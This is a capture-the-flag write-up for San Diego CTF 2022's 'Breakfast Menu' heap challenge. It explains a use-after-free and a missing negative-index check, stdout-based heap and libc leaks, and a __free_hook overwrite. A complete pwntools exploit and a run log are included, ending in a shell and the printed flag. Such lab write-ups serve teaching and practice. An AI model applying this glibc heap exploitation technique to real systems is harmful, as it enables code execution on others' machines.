Rating: 4.0

> Points: 250
>
> Solves: 32

### Description:
> I’m awfully hungry, with all these options to choose from, what should I order?
>
> Connect
> nc breakfast.sdc.tf 1337
>
> By green beans
### Attachments:
>
> Dockerfile

## Analysis:

There are three functions, Create, Edit, and Delete, and there is no display function. Finding vulnerabilities is relatively easy, so the point is how to leak the libc address.


1. Create a new order
2. Edit an order
3. Delete an order
4. Pay your bill and leave


There are the following two vulnerabilities.
- There is a UAF vulnerability because the pointer is not cleared after free the area with the Delete function.
- The Edit and Delete functions do not check for negative indexes. By using this, the area with the index value -12 and _IO_2_1_stdout_ can be rewritten, so the heap and the libc address can be leaked.

c
if (local_18 != 3) break;
puts("which order would you like to remove");
fflush(stdout);
__isoc99_scanf(&DAT_00400cd5,&local_18);
getchar();
if (local_18 < local_14) { <--- Not checking for negative index values
free(*(void **)(orders + (long)local_18 * 8));
}
else {
puts("Order doesn\'t exist!!!");
fflush(stdout);
}


c
if (local_18 < local_14) { <--- Not checking for negative index values
free(*(void **)(orders + (long)local_18 * 8)); <--- Not clearing the pointer after free
}
else {
puts("Order doesn\'t exist!!!");
fflush(stdout);
}


## Solution:
In the local environment, we can leak the libc address as shown below by rewriting _IO_write_base to 0x602010, but this was not possible in the server environment.

python



gdb-peda$p _IO_2_1_stdout_$1 = {
file = {
_IO_write_base = 0x603260, <-　Rewriting this value
_IO_write_ptr = 0x603260,
_IO_write_end = 0x603260,
_IO_buf_base = 0x603260,
_IO_buf_end = 0x603660,


An example of outputting the GOT area in the local environment. I don't know the cause, but the server environment doesn't work.

00000000 73 6f 20 79 6f 75 20 77 61 6e 74 65 64 20 87 3a │so y│ou w│ante│d ·:│
00000010 ad fb 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│
00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 01 10 20 │····│····│····│··· │
00000030 60 f0 a8 de f7 ff 7f 00 00 c6 06 40 00 00 00 00 │···│····│···@│····│
00000040 00 00 82 a9 f7 ff 7f 00 00 70 29 a6 f7 ff 7f 00 │····│····│·p)·│····│
00000050 00 40 6e a4 f7 ff 7f 00 00 10 0e b7 f7 ff 7f 00 │·@n·│····│····│····│
00000060 00 d0 0a a6 f7 ff 7f 00 00 a0 9e a6 f7 ff 7f 00 │····│····│····│····│
00000070 00 36 07 40 00 00 00 00 00 90 07 a6 f7 ff 7f 00 │·6·@│····│····│····│
00000080 00 70 de a5 f7 ff 7f 00 00 66 07 40 00 00 00 00 │·p··│····│·f·@│····│
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000a0 00 60 e7 dc f7 ff 7f 00 00 00 00 00 00 00 00 00 │···│····│····│····│
000000b0 00 00 da dc f7 ff 7f 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000c0 00 87 3a ad fb 01 01 01 01 01 01 01 01 01 01 01 │··:·│····│····│····│
000000d0 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│
000000e0 01 10 20 60 00 00 00 00 00 0a 00 00 00 00 00 00 │·· │····│····│····│
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│


The following is an excerpt from the Dockerfile, which may be due to running on nsjail.

socat \


However, if the lower 1 byte of _IO_write_base is rewritten to NULL, only the following heap area can be output even in the server environment.

0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000411 <- The server environment is 0x111 instead of 0x411.
0x603260: 0x7461657243202e0a 0x2077656e20612065
0x603270: 0x2e320a726564726f 0x6e61207469644520
0x603280: 0x330a726564726f20 0x6574656c6544202e


An example of outputting with context.log_level ='debug' of Pwntools

00000000 73 6f 20 79 6f 75 20 77 61 6e 74 65 64 20 87 3a │so y│ou w│ante│d ·:│
00000010 ad fb 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│
00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 0a 00 00 │····│····│····│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000080 00 00 00 00 00 00 11 10 00 00 00 00 00 00 31 2e │····│····│····│··1.│
00000090 20 43 72 65 61 74 65 20 61 20 6e 65 77 20 6f 72 │ Cre│ate │a ne│w or│
000000a0 64 65 72 0a 32 2e 20 45 64 69 74 20 61 6e 20 6f │der·│2. E│dit │an o│
000000b0 72 64 65 72 0a 33 2e 20 44 65 6c 65 74 65 20 61 │rder│·3. │Dele│te a│
000000c0 6e 20 6f 72 64 65 72 0a 34 2e 20 50 61 79 20 79 │n or│der·│4. P│ay y│
000000d0 6f 75 72 20 62 69 6c 6c 20 61 6e 64 20 6c 65 │our │bill│ and│ le│


Since the above limited area contains tcachebin of 0x3c0 size, we can leak the heap address by creating a chunk of 0x3c0 size in another area and freeing it.

python
for i in range(6):
Create()
Delete(4)
Delete(5)
Edit(5, "\x00")
Create()
Create()
Edit(2, "A"*0x18+p64(0x3c1))
Delete(7)


State of heap memory after executing Delete(7)

0x604670: 0x0000000000000000 0x0000000000000031
0x604680: 0x0000000000000000 0x0000000000000000
0x604690: 0x0000000000000000 0x0000000000000000
0x6046a0: 0x0000000000000000 0x0000000000000031
0x6046b0: 0x0000000000000000 0x0000000000000000
0x6046c0: 0x0000000000000000 0x0000000000000000
0x6046d0: 0x0000000000000000 0x0000000000000031
0x6046e0: 0x4141414141414141 0x4141414141414141
0x6046f0: 0x4141414141414141 0x00000000000003c1
0x604700: 0x0000000000000000 0x0000000000603010
0x604710: 0x0000000000000000 0x0000000000000000
0x604720: 0x0000000000000000 0x0000000000000000
0x604730: 0x0000000000000000 0x0000000000000031
0x604740: 0x0000000000000000 0x0000000000603010
0x604750: 0x0000000000000000 0x0000000000000000
0x604760: 0x0000000000000000 0x0000000000000031
0x604770: 0x0000000000604700 0x0000000000000000
0x604780: 0x0000000000000000 0x0000000000000000
0x604790: 0x0000000000000000 0x000000000001f871


The heap address(0x604700) can be put in the tcachebin of 0x3c0, so the heap address can be leaked.

0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000604700 0x0000000000000000 <- This 0x604700 can be leaked.
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000411
0x603260: 0x7920796150202e34 0x6c6c69622072756f
0x603270: 0x61656c20646e6120 0x6e612074690a6576

pwndbg> bins
tcachebins
0x3c0 [ 1]: 0x604700 ◂— 0x0


If we know the heap address, we can create a fake chunk in the above area, so we can leak the libc address as shown below.


0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x4141414141414141 0x0000000000001461
0x603220: 0x00007ffff7dcdca0 0x00007ffff7dcdca0 <- This 0x7ffff7dcdca0 can be leaked.
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000411
0x603260: 0x7461657243202e0a 0x2077656e20612065
0x603270: 0x2e320a726564726f 0x6e61207469644520

The python code for the libc leak
python
# Make large chunk in tcache
Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x210))
Create()
Create()
Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))

Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x220))
Create()
Create()

# libc leak
Delete(11)


If we can leak the libc address, we can easily write the __free_hook to the tcachebin using the Edit function. Similarly, we can write the address of the system function to __free_hook, so we can start /bin/sh by freeing the chunk that wrote /bin/sh.

## Exploit code:
The Exploit code is below.
python
from pwn import *

#context(os='linux', arch='amd64')
#context.log_level = 'debug'

elf = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "breakfast.sdc.tf"
PORT = 1337
s = remote(HOST, PORT)
heap_offset = 0x2300
else:
s = process(BINARY)
heap_offset = 0x1700
libc = elf.libc

def Create():
s.sendlineafter("leave\n", "1")

def Edit(idx, data):
s.sendlineafter("leave\n", "2")
s.sendlineafter("modify\n", str(idx))
s.sendlineafter("order?\n", data)

def Delete(idx):
s.sendlineafter("leave\n", "3")
s.sendlineafter("remove\n", str(idx))

for i in range(6):
Create()

# Make fake chunk sizeof 0x3c0 for heap leaking
Delete(4)
Delete(5)
Edit(5, "\x00")
Create()
Create()
Edit(2, "A"*0x18+p64(0x3c1))

# Heap leak
Delete(7)

s.recvuntil("\x00"*0x20)
heap_leak = u64(s.recv(8))
heap_base = heap_leak - heap_offset
print "heap_leak =", hex(heap_leak)
print "heap_base =", hex(heap_base)

# Make large chunk in tcache
Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x210))
Create()
Create()
Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))

Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x220))
Create()
Create()

# libc leak
Delete(11)
s.recvuntil("A"*8)
s.recv(8)
libc_leak = u64(s.recv(8))
libc_base = libc_leak - libc.sym.__malloc_hook - 0x70
free_hook = libc_base + libc.sym.__free_hook
print "libc_leak =", hex(libc_leak)
print "libc_base =", hex(libc_base)

# Write __free_hook in tcache
Delete(0)
Delete(1)
Edit(1, p64(free_hook))

# Write system address in __free_hook
Create()
Create()

# Start system("/bin/sh")
Edit(3, "/bin/sh\x00")
Delete(3)

s.interactive()


## Results:
The execution result is as follows.
bash
[email protected]:~/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250$python solve.py r [*] '/home/mito/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250/BreakfastMenu' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to breakfast.sdc.tf on port 1337: Done [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled heap_leak = 0x880300 heap_base = 0x87e000 libc_leak = 0x7fc8441e3ca0 libc_base = 0x7fc843df8000 [*] Switching to interactive mode$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ls -l total 28 -rwxr-xr-x 1 nobody nogroup 13000 May 6 22:02 BreakfastMenu -rw-r--r-- 1 nobody nogroup 2405 May 5 18:23 BreakfastMenu.c -rw-r--r-- 1 nobody nogroup 105 Apr 29 20:55 Makefile -rw-r--r-- 1 nobody nogroup 42 May 6 22:01 flag.txt$ cat flag.txt
sdctf{Th3_m05t_1Mp0Rt4nT_m34L_0f_th3_d4Y}
`